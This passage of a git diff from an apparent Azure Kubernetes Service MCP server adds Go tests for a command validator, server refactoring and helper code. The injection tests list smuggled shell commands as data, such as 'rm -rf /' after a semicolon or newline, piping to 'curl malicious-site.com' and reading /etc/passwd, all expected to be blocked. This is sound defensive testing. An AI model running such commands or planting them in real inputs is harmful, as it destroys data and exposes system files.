read-only", + command: "az aks create -h", + expected: true, + }, + { + name: "command with -h in middle should be read-only", + command: "az aks create -h --name test", + expected: true, + }, + { + name: "command with --help in middle should be read-only", + command: "az aks nodepool delete --help --cluster-name test", + expected: true, + }, + { + name: "command with -h as part of argument value should not be read-only", + command: "az aks create --name cluster-h --resource-group rg", + expected: false, + }, + { + name: "command with help substring in argument should not be read-only", + command: "az aks create --name helpful-cluster --resource-group rg", + expected: false, + }, + } + + validator := NewValidator(&SecurityConfig{}) + // Use minimal allowed operations for testing + allowedOps := []string{"az aks show", "az aks list"} + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result := validator.isReadOperation(tt.command, allowedOps) + if result != tt.expected { + t.Errorf("isReadOperation(%q) = %v, expected %v", tt.command, result, tt.expected) + } + }) + } +} + +func TestIsReadOperation_TrustedAccessCommands(t *testing.T) { + validator := NewValidator(&SecurityConfig{}) + + // Get the actual read operations from the validator + readOps := AzReadOperations + + tests := []struct { + name string + command string + expected bool + }{ + { + name: "trustedaccess rolebinding list should be read-only", + command: "az aks trustedaccess rolebinding list", + expected: true, + }, + { + name: "trustedaccess rolebinding list with args should be read-only", + command: "az aks trustedaccess rolebinding list --cluster-name test --resource-group rg", + expected: true, + }, + { + name: "trustedaccess rolebinding show should be read-only", + command: "az aks trustedaccess rolebinding show", + expected: true, + }, + { + name: "trustedaccess rolebinding show with args should be read-only", + command: "az aks trustedaccess rolebinding show --cluster-name test --name binding", + expected: true, + }, + { + name: "trustedaccess rolebinding create should not be read-only", + command: "az aks trustedaccess rolebinding create --cluster-name test", + expected: false, + }, + { + name: "trustedaccess rolebinding delete should not be read-only", + command: "az aks trustedaccess rolebinding delete --cluster-name test", + expected: false, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result := validator.isReadOperation(tt.command, readOps) + if result != tt.expected { + t.Errorf("isReadOperation(%q) = %v, expected %v", tt.command, result, tt.expected) + + // Debug: let's see what base command is being extracted + cmdParts := strings.Fields(tt.command) + var baseCommand string + if len(cmdParts) >= 3 && cmdParts[0] == CommandTypeAz { + baseCommand = strings.Join(cmdParts[:3], " ") + } + t.Logf("Extracted base command: %q", baseCommand) + + // Check if it's in the allowed operations + found := false + for _, allowed := range readOps { + if baseCommand == allowed || strings.HasPrefix(baseCommand, allowed) { + found = true + t.Logf("Matched against allowed operation: %q", allowed) + break + } + } + if !found { + t.Logf("No match found in allowed operations") + } + } + }) + } +} + +func TestIsReadOperation_MonitorMetricsCommands(t *testing.T) { + validator := NewValidator(&SecurityConfig{}) + readOps := AzReadOperations + + tests := []struct { + name string + command string + expected bool + }{ + { + name: "monitor metrics list should be read-only", + command: "az monitor metrics list --resource /subscriptions/test/resourceGroups/rg/providers/Microsoft.ContainerService/managedClusters/cluster", + expected: true, + }, + { + name: "monitor metrics list-definitions should be read-only", + command: "az monitor metrics list-definitions --resource /subscriptions/test/resourceGroups/rg/providers/Microsoft.ContainerService/managedClusters/cluster", + expected: true, + }, + { + name: "monitor metrics list-namespaces should be read-only", + command: "az monitor metrics list-namespaces --resource /subscriptions/test/resourceGroups/rg/providers/Microsoft.ContainerService/managedClusters/cluster", + expected: true, + }, + { + name: "monitor metrics list with minimal args should be read-only", + command: "az monitor metrics list --resource /test/resource", + expected: true, + }, + { + name: "monitor metrics list-definitions with minimal args should be read-only", + command: "az monitor metrics list-definitions --resource /test/resource", + expected: true, + }, + { + name: "monitor metrics list-namespaces with minimal args should be read-only", + command: "az monitor metrics list-namespaces --resource /test/resource", + expected: true, + }, + { + name: "monitor metrics create should not be read-only", + command: "az monitor metrics create --resource /test/resource", + expected: false, + }, + { + name: "monitor metrics delete should not be read-only", + command: "az monitor metrics delete --resource /test/resource", + expected: false, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result := validator.isReadOperation(tt.command, readOps) + if result != tt.expected { + t.Errorf("isReadOperation(%q) = %v, expected %v", tt.command, result, tt.expected) + + // Debug: let's see what base command is being extracted + cmdParts := strings.Fields(tt.command) + var baseCommand string + if len(cmdParts) >= 4 && cmdParts[0] == CommandTypeAz { + baseCommand = strings.Join(cmdParts[:4], " ") + } + t.Logf("Extracted base command: %q", baseCommand) + + // Check if it's in the allowed operations + found := false + for _, allowed := range readOps { + if strings.HasPrefix(allowed, "az monitor metrics") { + t.Logf("Found monitor metrics allowed operation: %q", allowed) + if strings.HasPrefix(tt.command, allowed) { + found = true + t.Logf("Matched against allowed operation: %q", allowed) + break + } + } + } + if !found { + t.Logf("No match found in monitor metrics allowed operations") + } + } + }) + } +} + +func TestIsReadOperation_LongCommands(t *testing.T) { + validator := NewValidator(&SecurityConfig{}) + readOps := AzReadOperations + + tests := []struct { + name string + command string + expected bool + }{ + { + name: "check-network outbound should be read-only", + command: "az aks check-network outbound --name test --resource-group rg", + expected: true, + }, + { + name: "nodepool get-upgrades should be read-only", + command: "az aks nodepool get-upgrades --cluster-name test --name pool1", + expected: true, + }, + { + name: "addon list should be read-only", + command: "az aks addon list --name test --resource-group rg", + expected: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result := validator.isReadOperation(tt.command, readOps) + if result != tt.expected { + t.Errorf("isReadOperation(%q) = %v, expected %v", tt.command, result, tt.expected) + } + }) + } +} + +func TestValidateCommand_WithHelpFlags(t *testing.T) { + tests := []struct { + name string + accessLevel string + command string + expectError bool + }{ + { + name: "readonly mode allows write commands with --help", + accessLevel: "readonly", + command: "az aks create --help", + expectError: false, + }, + { + name: "readonly mode allows write commands with -h", + accessLevel: "readonly", + command: "az aks delete -h", + expectError: false, + }, + { + name: "readonly mode allows nodepool commands with --help", + accessLevel: "readonly", + command: "az aks nodepool add --help", + expectError: false, + }, + { + name: "readonly mode blocks write commands without help", + accessLevel: "readonly", + command: "az aks create --name test", + expectError: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + validator := NewValidator(&SecurityConfig{AccessLevel: tt.accessLevel}) + err := validator.ValidateCommand(tt.command, CommandTypeAz) + + if tt.expectError && err == nil { + t.Errorf("Expected error but got none for command: %q", tt.command) + } + if !tt.expectError && err != nil { + t.Errorf("Expected no error but got: %v for command: %q", err, tt.command) + } + }) + } +} + +func TestSpecificTrustedAccessFix(t *testing.T) { + validator := NewValidator(&SecurityConfig{}) + readOps := AzReadOperations + + // Test the specific case that was failing + command := "az aks trustedaccess rolebinding list --cluster-name test" + result := validator.isReadOperation(command, readOps) + + if !result { + t.Errorf("Expected trustedaccess rolebinding list to be read-only, but got false") + + // Debug output + cmdParts := strings.Fields(command) + t.Logf("Command parts: %v", cmdParts) + + for _, allowed := range readOps { + if strings.Contains(allowed, "trustedaccess") { + t.Logf("Found allowed trustedaccess command: %q", allowed) + allowedParts := strings.Fields(allowed) + t.Logf("Allowed parts: %v", allowedParts) + } + } + } +} + +func TestValidateCommandInjection(t *testing.T) { + validator := NewValidator(&SecurityConfig{AccessLevel: "admin"}) // Use admin to bypass access level checks + + tests := []struct { + name string + command string + expectError bool + description string + }{ + // Valid commands should pass + { + name: "valid_simple_command", + command: "az aks show --name myCluster --resource-group myRG", + expectError: false, + description: "Simple valid command should pass", + }, + { + name: "valid_help_command", + command: "az aks create --help", + expectError: false, + description: "Help command should pass", + }, + { + name: "valid_complex_args", + command: "az aks create --name test-cluster --location eastus --node-count 3", + expectError: false, + description: "Command with multiple valid arguments should pass", + }, + + // Command injection attempts should be blocked + { + name: "semicolon_injection", + command: "az aks show --help; rm -rf /", + expectError: true, + description: "Semicolon command separator should be blocked", + }, + { + name: "pipe_injection", + command: "az aks list | curl malicious-site.com", + expectError: true, + description: "Pipe operator should be blocked", + }, + { + name: "background_execution", + command: "az aks show & rm file.txt", + expectError: true, + description: "Background execution should be blocked", + }, + { + name: "and_operator", + command: "az aks list && rm file.txt", + expectError: true, + description: "AND operator should be blocked", + }, + { + name: "or_operator", + command: "az aks show || rm file.txt", + expectError: true, + description: "OR operator should be blocked", + }, + { + name: "command_substitution_parentheses", + command: "az aks show --name $(rm file.txt)", + expectError: true, + description: "Command substitution with $() should be blocked", + }, + { + name: "command_substitution_backticks", + command: "az aks show --name `rm file.txt`", + expectError: true, + description: "Command substitution with backticks should be blocked", + }, + { + name: "output_redirection", + command: "az aks list > /etc/passwd", + expectError: true, + description: "Output redirection should be blocked", + }, + { + name: "append_redirection", + command: "az aks list >> /etc/passwd", + expectError: true, + description: "Append redirection should be blocked", + }, + { + name: "input_redirection", + command: "az aks create < malicious-input.txt", + expectError: true, + description: "Input redirection should be blocked", + }, + { + name: "here_document", + command: "az aks create << EOF", + expectError: true, + description: "Here document should be blocked", + }, + { + name: "newline_injection", + command: "az aks show\nrm file.txt", + expectError: true, + description: "Newline injection should be blocked", + }, + { + name: "carriage_return_injection", + command: "az aks show\rrm file.txt", + expectError: true, + description: "Carriage return injection should be blocked", + }, + { + name: "variable_substitution", + command: "az aks show --name ${malicious_var}", + expectError: true, + description: "Variable substitution should be blocked", + }, + + // Edge cases + { + name: "legitimate_dash_in_name", + command: "az aks show --name my-cluster-name --resource-group my-rg", + expectError: false, + description: "Legitimate dashes in names should be allowed", + }, + { + name: "legitimate_json_in_args", + command: "az aks create --name test --tags '{\"env\":\"test\"}'", + expectError: false, + description: "Legitimate JSON in arguments should be allowed", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + err := validator.ValidateCommand(tt.command, CommandTypeAz) + + if tt.expectError && err == nil { + t.Errorf("Expected error for %s: %s", tt.description, tt.command) + } + if !tt.expectError && err != nil { + t.Errorf("Unexpected error for %s: %v (command: %s)", tt.description, err, tt.command) + } + }) + } +} + +func TestValidateCommandInjection_IsolatedFunction(t *testing.T) { + validator := NewValidator(&SecurityConfig{}) + + tests := []struct { + name string + command string + expectError bool + }{ + {"valid_command", "az aks show --name test", false}, + {"semicolon_injection", "az aks show; rm file", true}, + {"pipe_injection", "az aks list | cat", true}, + {"and_injection", "az aks show && rm file", true}, + {"or_injection", "az aks show || rm file", true}, + {"command_substitution", "az aks show $(echo test)", true}, + {"backtick_substitution", "az aks show `echo test`", true}, + {"output_redirect", "az aks list > file.txt", true}, + {"append_redirect", "az aks list >> file.txt", true}, + {"input_redirect", "az aks create < input.txt", true}, + {"here_doc", "az aks create << EOF", true}, + {"newline", "az aks show\necho test", true}, + {"carriage_return", "az aks show\recho test", true}, + {"variable_substitution", "az aks show ${var}", true}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + err := validator.validateCommandInjection(tt.command) + + if tt.expectError && err == nil { + t.Errorf("validateCommandInjection(%q) expected error but got none", tt.command) + } + if !tt.expectError && err != nil { + t.Errorf("validateCommandInjection(%q) unexpected error: %v", tt.command, err) + } + }) + } +} + +func TestValidateCommandInjection_HereDocuments(t *testing.T) { + validator := NewValidator(&SecurityConfig{}) + + tests := []struct { + name string + command string + expectError bool + }{ + { + name: "here document should be allowed", + command: "az aks create --name test << EOF", + expectError: false, + }, + { + name: "here document with JSON payload should be allowed", + command: "az aks create --name test --resource-group rg << EOF\n{\"key\": \"value\"}\nEOF", + expectError: false, // Newlines are allowed in here document context + }, + { + name: "here document without newlines should be allowed", + command: "az aks create --name test --resource-group rg << EOF", + expectError: false, + }, + { + name: "single input redirection should be blocked", + command: "az aks show < malicious_file", + expectError: true, + }, + { + name: "mixed here document and single redirection should be blocked", + command: "az aks create << EOF < malicious_file", + expectError: true, + }, + { + name: "legitimate command without redirection", + command: "az aks show --name test --resource-group rg", + expectError: false, + }, + { + name: "here document with newlines should be allowed", + command: "az aks create --name test << EOF\n{\n \"key\": \"value\"\n}\nEOF", + expectError: false, + }, + { + name: "here document with carriage returns should be allowed", + command: "az deployment create --template-body << EOF\r\n{\r\n \"resources\": []\r\n}\r\nEOF", + expectError: false, + }, + { + name: "here document with mixed line endings should be allowed", + command: "az group create --parameters << EOF\n{\r\n \"location\": \"eastus\"\r\n}\nEOF", + expectError: false, + }, + { + name: "command without here document with newlines should be blocked", + command: "az aks show --name test\nrm -rf /", + expectError: true, + }, + { + name: "command without here document with carriage returns should be blocked", + command: "az aks show --name test\rcurl malicious.com", + expectError: true, + }, + { + name: "here document but with dangerous patterns should still be blocked", + command: "az aks create --name test << EOF\n{\n \"key\": \"value\"\n}\nEOF; rm -rf /", + expectError: true, + }, + { + name: "here document with pipes should still be blocked", + command: "az aks create --name test << EOF | curl malicious.com", + expectError: true, + }, + { + name: "legitimate single line here document should be allowed", + command: "az deployment create --template-body << EOF {\"resources\": []} EOF", + expectError: false, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + err := validator.validateCommandInjection(tt.command) + + if tt.expectError && err == nil { + t.Errorf("Expected error but got none for command: %q", tt.command) + } + if !tt.expectError && err != nil { + t.Errorf("Expected no error but got: %v for command: %q", err, tt.command) + } + }) + } +} + +func TestValidateCommandInjection_EdgeCases(t *testing.T) { + validator := NewValidator(&SecurityConfig{}) + + tests := []struct { + name string + command string + expectError bool + }{ + { + name: "single < without << should be blocked", + command: "az aks show < /etc/passwd", + expectError: true, + }, + { + name: "multiple << in same command should be allowed", + command: "az deployment create --template << EOF1 --parameters << EOF2", + expectError: false, + }, + { + name: "here document with complex JSON should be allowed", + command: "az aks create --name test << EOF\n{\n \"apiVersion\": \"2021-02-01\",\n \"properties\": {\n \"dnsPrefix\": \"test\"\n }\n}\nEOF", + expectError: false, + }, + { + name: "command with < inside quoted string should still be blocked", + command: "az aks create --name 'test < injection'", + expectError: true, + }, + { + name: "legitimate redirect with << but mixed with dangerous pattern should be blocked", + command: "az aks create --name test << EOF\n{}\nEOF && rm -rf /", + expectError: true, + }, + { + name: "whitespace variations of dangerous patterns should be blocked", + command: "az aks show --name test ; rm -rf /", + expectError: true, + }, + { + name: "command substitution in here document should be blocked", + command: "az aks create --name test << EOF\n{\n \"value\": \"$(whoami)\"\n}\nEOF", + expectError: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + err := validator.validateCommandInjection(tt.command) + + if tt.expectError && err == nil { + t.Errorf("Expected error but got none for command: %q", tt.command) + } + if !tt.expectError && err != nil { + t.Errorf("Expected no error but got: %v for command: %q", err, tt.command) + } + }) + } +} diff --git a/internal/server/server.go b/internal/server/server.go index 56097b5..74f2ab2 100644 --- a/internal/server/server.go +++ b/internal/server/server.go @@ -1,46 +1,203 @@ -// Package server provides MCP server implementation for AKS. package server import ( "fmt" + "log" - "github.com/azure/aks-mcp/internal/registry" + "github.com/Azure/aks-mcp/internal/azcli" + "github.com/Azure/aks-mcp/internal/azureclient" + "github.com/Azure/aks-mcp/internal/components/advisor" + "github.com/Azure/aks-mcp/internal/components/azaks" + "github.com/Azure/aks-mcp/internal/components/monitor" + "github.com/Azure/aks-mcp/internal/components/network" + "github.com/Azure/aks-mcp/internal/config" + "github.com/Azure/aks-mcp/internal/tools" + "github.com/Azure/aks-mcp/internal/version" "github.com/mark3labs/mcp-go/server" ) -// AKSMCPServer represents the MCP server for AKS. -type AKSMCPServer struct { - server *server.MCPServer - registry *registry.ToolRegistry +// Service represents the MCP Kubernetes service +type Service struct { + cfg *config.ConfigData + mcpServer *server.MCPServer } -// NewAKSMCPServer creates a new MCP server for AKS. -func NewAKSMCPServer(registry *registry.ToolRegistry) *AKSMCPServer { - mcpServer := server.NewMCPServer( - "aks-mcp-server", - "1.0.0", +// NewService creates a new MCP Kubernetes service +func NewService(cfg *config.ConfigData) *Service { + return &Service{ + cfg: cfg, + } +} + +// Initialize initializes the service +func (s *Service) Initialize() error { + // Initialize configuration + + // Create MCP server + s.mcpServer = server.NewMCPServer( + "AKS MCP", + version.GetVersion(), server.WithResourceCapabilities(true, true), - server.WithPromptCapabilities(true), - server.WithToolCapabilities(true), + server.WithLogging(), + server.WithRecovery(), ) - // Register all tools with the MCP server - registry.ConfigureMCPServer(mcpServer) + // // Register generic az tool + // azTool := az.RegisterAz() + // s.mcpServer.AddTool(azTool, tools.CreateToolHandler(az.NewExecutor(), s.cfg)) + + // Register individual az commands + s.registerAzCommands() + + // Register Azure resource tools (VNet, NSG, etc.) + s.registerAzureResourceTools() + + // Register Azure Advisor tools + s.registerAdvisorTools() + + return nil +} + +// Run starts the service with the specified transport +func (s *Service) Run() error { + log.Println("MCP Kubernetes version:", version.GetVersion()) - return &AKSMCPServer{ - server: mcpServer, - registry: registry, + // Start the server + switch s.cfg.Transport { + case "stdio": + log.Println("MCP Kubernetes version:", version.GetVersion()) + log.Println("Listening for requests on STDIO...") + return server.ServeStdio(s.mcpServer) + case "sse": + sse := server.NewSSEServer(s.mcpServer) + addr := fmt.Sprintf("%s:%d", s.cfg.Host, s.cfg.Port) + log.Printf("SSE server listening on %s", addr) + return sse.Start(addr) + case "streamable-http": + streamableServer := server.NewStreamableHTTPServer(s.mcpServer) + addr := fmt.Sprintf("%s:%d", s.cfg.Host, s.cfg.Port) + log.Printf("Streamable HTTP server listening on %s", addr) + return streamableServer.Start(addr) + default: + return fmt.Errorf("invalid transport type: %s (must be 'stdio', 'sse' or 'streamable-http')", s.cfg.Transport) } } -// ServeSSE serves the MCP server over SSE. -func (s *AKSMCPServer) ServeSSE(addr string) *server.SSEServer { - return server.NewSSEServer(s.server, - server.WithBaseURL(fmt.Sprintf("http://%s", addr)), - ) +// registerAzCommands registers individual az commands as separate tools +func (s *Service) registerAzCommands() { + // Register read-only az commands (available at all access levels) + for _, cmd := range azaks.GetReadOnlyAzCommands() { + log.Println("Registering az command:", cmd.Name) + azTool := azaks.RegisterAzCommand(cmd) + commandExecutor := azcli.CreateCommandExecutorFunc(cmd.Name) + s.mcpServer.AddTool(azTool, tools.CreateToolHandler(commandExecutor, s.cfg)) + } + + // Register read-only az monitor commands (available at all access levels) + for _, cmd := range monitor.GetReadOnlyMonitorCommands() { + log.Println("Registering az monitor command:", cmd.Name) + azTool := monitor.RegisterMonitorCommand(cmd) + commandExecutor := azcli.CreateCommandExecutorFunc(cmd.Name) + s.mcpServer.AddTool(azTool, tools.CreateToolHandler(commandExecutor, s.cfg)) + } + + // Register account management commands (available at all access levels) + for _, cmd := range azaks.GetAccountAzCommands() { + log.Println("Registering az command:", cmd.Name) + azTool := azaks.RegisterAzCommand(cmd) + commandExecutor := azcli.CreateCommandExecutorFunc(cmd.Name) + s.mcpServer.AddTool(azTool, tools.CreateToolHandler(commandExecutor, s.cfg)) + } + + // Register read-write commands if access level is readwrite or admin + if s.cfg.AccessLevel == "readwrite" || s.cfg.AccessLevel == "admin" { + // Register read-write az commands + for _, cmd := range azaks.GetReadWriteAzCommands() { + log.Println("Registering az command:", cmd.Name) + azTool := azaks.RegisterAzCommand(cmd) + commandExecutor := azcli.CreateCommandExecutorFunc(cmd.Name) + s.mcpServer.AddTool(azTool, tools.CreateToolHandler(commandExecutor, s.cfg)) + } + + // Register read-write az monitor commands + for _, cmd := range monitor.GetReadWriteMonitorCommands() { + log.Println("Registering az monitor command:", cmd.Name) + azTool := monitor.RegisterMonitorCommand(cmd) + commandExecutor := azcli.CreateCommandExecutorFunc(cmd.Name) + s.mcpServer.AddTool(azTool, tools.CreateToolHandler(commandExecutor, s.cfg)) + } + } + + // Register admin commands only if access level is admin + if s.cfg.AccessLevel == "admin" { + // Register admin az commands + for _, cmd := range azaks.GetAdminAzCommands() { + log.Println("Registering az command:", cmd.Name) + azTool := azaks.RegisterAzCommand(cmd) + commandExecutor := azcli.CreateCommandExecutorFunc(cmd.Name) + s.mcpServer.AddTool(azTool, tools.CreateToolHandler(commandExecutor, s.cfg)) + } + + // Register admin az monitor commands + for _, cmd := range monitor.GetAdminMonitorCommands() { + log.Println("Registering az monitor command:", cmd.Name) + azTool := monitor.RegisterMonitorCommand(cmd) + commandExecutor := azcli.CreateCommandExecutorFunc(cmd.Name) + s.mcpServer.AddTool(azTool, tools.CreateToolHandler(commandExecutor, s.cfg)) + } + } +} + +func (s *Service) registerAzureResourceTools() { + // Create Azure client for the resource tools (cache is internal to the client) + azClient, err := azureclient.NewAzureClient(s.cfg) + if err != nil { + log.Printf("Warning: Failed to create Azure client: %v", err) + return + } + + // Register Network-related tools + s.registerNetworkTools(azClient) + + // TODO: Add other resource categories in the future: } -// ServeStdio serves the MCP server over stdio. -func (s *AKSMCPServer) ServeStdio() error { - return server.ServeStdio(s.server) +// registerNetworkTools registers all network-related Azure resource tools +func (s *Service) registerNetworkTools(azClient *azureclient.AzureClient) { + log.Println("Registering Network tools...") + + // Register VNet info tool + log.Println("Registering network tool: get_vnet_info") + vnetTool := network.RegisterVNetInfoTool() + s.mcpServer.AddTool(vnetTool, tools.CreateResourceHandler(network.GetVNetInfoHandler(azClient, s.cfg), s.cfg)) + + // Register NSG info tool + log.Println("Registering network tool: get_nsg_info") + nsgTool := network.RegisterNSGInfoTool() + s.mcpServer.AddTool(nsgTool, tools.CreateResourceHandler(network.GetNSGInfoHandler(azClient, s.cfg), s.cfg)) + + // Register RouteTable info tool + log.Println("Registering network tool: get_route_table_info") + routeTableTool := network.RegisterRouteTableInfoTool() + s.mcpServer.AddTool(routeTableTool, tools.CreateResourceHandler(network.GetRouteTableInfoHandler(azClient, s.cfg), s.cfg)) + + // Register Subnet info tool + log.Println("Registering network tool: get_subnet_info") + subnetTool := network.RegisterSubnetInfoTool() + s.mcpServer.AddTool(subnetTool, tools.CreateResourceHandler(network.GetSubnetInfoHandler(azClient, s.cfg), s.cfg)) + + // Register Load Balancers info tool + log.Println("Registering network tool: get_load_balancers_info") + lbTool := network.RegisterLoadBalancersInfoTool() + s.mcpServer.AddTool(lbTool, tools.CreateResourceHandler(network.GetLoadBalancersInfoHandler(azClient, s.cfg), s.cfg)) +} + +// registerAdvisorTools registers all Azure Advisor-related tools +func (s *Service) registerAdvisorTools() { + log.Println("Registering Advisor tools...") + + // Register Azure Advisor recommendation tool (available at all access levels) + log.Println("Registering advisor tool: az_advisor_recommendation") + advisorTool := advisor.RegisterAdvisorRecommendationTool() + s.mcpServer.AddTool(advisorTool, tools.CreateResourceHandler(advisor.GetAdvisorRecommendationHandler(s.cfg), s.cfg)) } diff --git a/internal/tools/executor.go b/internal/tools/executor.go new file mode 100644 index 0000000..bd084c9 --- /dev/null +++ b/internal/tools/executor.go @@ -0,0 +1,39 @@ +package tools + +import ( + "github.com/Azure/aks-mcp/internal/config" +) + +// CommandExecutor defines the interface for executing CLI commands +// This ensures all command executors follow the same pattern and signature +type CommandExecutor interface { + Execute(params map[string]interface{}, cfg *config.ConfigData) (string, error) +} + +// CommandExecutorFunc is a function type that implements CommandExecutor +// This allows regular functions to be used as CommandExecutors without having to create a struct +type CommandExecutorFunc func(params map[string]interface{}, cfg *config.ConfigData) (string, error) + +var _ CommandExecutor = CommandExecutorFunc(nil) + +// Execute implements the CommandExecutor interface for CommandExecutorFunc +func (f CommandExecutorFunc) Execute(params map[string]interface{}, cfg *config.ConfigData) (string, error) { + return f(params, cfg) +} + +// ResourceHandler defines the interface for handling Azure SDK-based resource operations +// This interface is semantically different from CommandExecutor as it handles API calls rather than CLI commands +type ResourceHandler interface { + Handle(params map[string]interface{}, cfg *config.ConfigData) (string, error) +} + +// ResourceHandlerFunc is a function type that implements ResourceHandler +// This allows regular functions to be used as ResourceHandlers without having to create a struct +type ResourceHandlerFunc func(params map[string]interface{}, cfg *config.ConfigData) (string, error) + +var _ ResourceHandler = ResourceHandlerFunc(nil) + +// Handle implements the ResourceHandler interface for ResourceHandlerFunc +func (f ResourceHandlerFunc) Handle(params map[string]interface{}, cfg *config.ConfigData) (string, error) { + return f(params, cfg) +} diff --git a/internal/tools/handler.go b/internal/tools/handler.go new file mode 100644 index 0000000..96b09f9 --- /dev/null +++ b/internal/tools/handler.go @@ -0,0 +1,41 @@ +package tools + +import ( + "context" + "fmt" + + "github.com/Azure/aks-mcp/internal/config" + "github.com/mark3labs/mcp-go/mcp" +) + +// CreateToolHandler creates an adapter that converts CommandExecutor to the format expected by MCP server +func CreateToolHandler(executor CommandExecutor, cfg *config.ConfigData) func(ctx context.Context, req mcp.CallToolRequest) (*mcp.CallToolResult, error) { + return func(ctx context.Context, req mcp.CallToolRequest) (*mcp.CallToolResult, error) { + args, ok := req.Params.Arguments.(map[string]interface{}) + if !ok { + return mcp.NewToolResultError("arguments must be a map[string]interface{}, got " + fmt.Sprintf("%T", req.Params.Arguments)), nil + } + result, err := executor.Execute(args, cfg) + if err != nil { + return mcp.NewToolResultError(err.Error()), nil + } + + return mcp.NewToolResultText(result), nil + } +} + +// CreateResourceHandler creates an adapter that converts ResourceHandler to the format expected by MCP server +func CreateResourceHandler(handler ResourceHandler, cfg *config.ConfigData) func(ctx context.Context, req mcp.CallToolRequest) (*mcp.CallToolResult, error) { + return func(ctx context.Context, req mcp.CallToolRequest) (*mcp.CallToolResult, error) { + args, ok := req.Params.Arguments.(map[string]interface{}) + if !ok { + return mcp.NewToolResultError("arguments must be a map[string]interface{}, got " + fmt.Sprintf("%T", req.Params.Arguments)), nil + } + result, err := handler.Handle(args, cfg) + if err != nil { + return mcp.NewToolResultError(err.Error()), nil + } + + return mcp.NewToolResultText(result), nil + } +} diff --git a/internal/tools/interfaces_test.go b/internal/tools/interfaces_test.go new file mode 100644 index 0000000..fd306c0 --- /dev/null +++ b/internal/tools/interfaces_test.go @@ -0,0 +1,45 @@ +package tools + +import ( + "testing" + + "github.com/Azure/aks-mcp/internal/config" +) + +func TestResourceHandlerInterface(t *testing.T) { + // Test that ResourceHandlerFunc implements ResourceHandler + var handler ResourceHandler = ResourceHandlerFunc(func(params map[string]interface{}, cfg *config.ConfigData) (string, error) { + return "test result", nil + }) + + cfg := config.NewConfig() + params := make(map[string]interface{}) + + result, err := handler.Handle(params, cfg) + if err != nil { + t.Fatalf("Expected no error, got: %v", err) + } + + if result != "test result" { + t.Errorf("Expected 'test result', got: %s", result) + } +} + +func TestCommandExecutorStillWorks(t *testing.T) { + // Test that existing CommandExecutor interface still works + var executor CommandExecutor = CommandExecutorFunc(func(params map[string]interface{}, cfg *config.ConfigData) (string, error) { + return "command result", nil + }) + + cfg := config.NewConfig() + params := make(map[string]interface{}) + + result, err := executor.Execute(params, cfg) + if err != nil { + t.Fatalf("Expected no error, got: %v", err) + } + + if result != "command result" { + t.Errorf("Expected 'command result', got: %s", result) + } +} diff --git a/internal/utils/strings.go b/internal/utils/strings.go new file mode 100644 index 0000000..75a47e1 --- /dev/null +++ b/internal/utils/strings.go @@ -0,0 +1,9 @@ +package utils + +import "strings" + +// ReplaceSpacesWithUnderscores converts spaces to underscores +// to create a valid tool name that follows the [a-z0-9_-] pattern +func ReplaceSpacesWithUnderscores(s string) string { + return strings.ReplaceAll(s, " ", "_") +} diff --git a/internal/utils/strings_test.go b/internal/utils/strings_test.go new file mode 100644 index 0000000..0d7e8d5 --- /dev/null +++ b/internal/utils/strings_test.go @@ -0,0 +1,27 @@ +package utils + +import "testing" + +func TestReplaceSpacesWithUnderscores(t *testing.T) { + tests := []struct { + input string + expected string + }{ + {"az monitor metrics list", "az_monitor_metrics_list"}, + {"az monitor metrics list-definitions", "az_monitor_metrics_list-definitions"}, + {"az monitor metrics list-namespaces", "az_monitor_metrics_list-namespaces"}, + {"simple command", "simple_command"}, + {"command with multiple spaces", "command_with_multiple_spaces"}, + {"no-spaces-here", "no-spaces-here"}, + {"", ""}, + {"single", "single"}, + {" leading and trailing ", "__leading_and_trailing__"}, + } + + for _, test := range tests { + result := ReplaceSpacesWithUnderscores(test.input) + if result != test.expected { + t.Errorf("ReplaceSpacesWithUnderscores(%q) = %q, expected %q", test.input, result, test.expected) + } + } +} diff --git a/internal/version/version.go b/internal/version/version.go new file mode 100644 index 0000000..2768557 --- /dev/null +++ b/internal/version/version.go @@ -0,0 +1,40 @@ +package version + +import ( + "fmt" + "runtime" +) + +// Version information +var ( + // GitVersion is the git tag version + GitVersion = "1" + // BuildMetadata is extra build time data + BuildMetadata = "" + // GitCommit is the git sha1 + GitCommit = "" + // GitTreeState describes the state of the git tree + GitTreeState = "" +) + +// GetVersion returns the version string +func GetVersion() string { + var version string + if BuildMetadata != "" { + version = fmt.Sprintf("%s+%s", GitVersion, BuildMetadata) + } else { + version = GitVersion + } + return version +} + +// GetVersionInfo returns a map with all version information +func GetVersionInfo() map[string]string { + return map[string]string{ + "version": GetVersion(), + "gitCommit": GitCommit, + "gitTreeState": GitTreeState, + "goVersion": runtime.Version(), + "platform": fmt.Sprintf("%s/%s", runtime.GOOS, runtime.GOARCH), + } +} diff --git a/prompts/README.md b/prompts/README.md new file mode 100644 index 0000000..79c18ec --- /dev/null +++ b/prompts/README.md @@ -0,0 +1,102 @@ +# AKS-MCP Prompts Folder + +This folder includes all the prompts for the AKS-MCP server. These prompt files are designed for generating the functionality of the AKS-MCP (Azure Kubernetes Service - Model Context Protocol) server with AI assistants. + + +## Existing Files + +### Current Prompt Files + +- **`README.md`** - This file, describing the prompts folder and its contents +- **`monitoringservice.md`** - Feature requirements and implementation details for MCP monitoring service integration +- **`azure-diagnostics.md`** - Implementation specifications for Azure diagnostic and advisory tools (AppLens detectors, Resource Health, Azure Advisor) +- **`azure-advisor.md`** - Simplified implementation specifications for Azure Advisor recommendations integration +- **`azure-cli-tools.md`** - Azure CLI tools integration and command execution specifications +- **`azure-network-tools.md`** - Azure network resource tools and information retrieval specifications +- **`azure-resource-caching.md`** - Azure resource caching system implementation specifications +- **`azure-monitor-tools.md`** - Azure Monitor metrics and monitoring capabilities implementation specifications + +### File Structure + +``` +prompts/ 